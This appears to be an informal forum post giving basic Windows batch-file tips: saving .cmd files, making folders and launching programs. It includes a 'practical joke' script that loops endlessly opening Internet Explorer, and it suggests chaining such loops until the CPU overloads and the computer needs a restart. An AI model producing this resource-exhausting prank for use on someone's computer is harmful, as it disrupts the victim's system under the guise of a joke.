If you have windows xp or vista, save it as a .cmd file. As for a practical joke, try this code:
@echo off
:loop
start iexplore.exe (url)
goto loop
and you can make a cmd or bat file make folders in a specific path. the command is:
md c:\(path)
for the loop command to be effective you may want to copy/paste the loop procedure
a few times. you can even have other batch files with other loops that start each other over again thus starting more loops. this often leads to the cpu overloading a bit and you need to restart your computer. To open a .exe or other file always start the command line like this:
start (filename)
remember that if you want to start a file that's not a default program on your OS it needs to either be in the same folder as the batch file calling it or the path must be set in "". Just google batch file commands, you'll figure it out. =p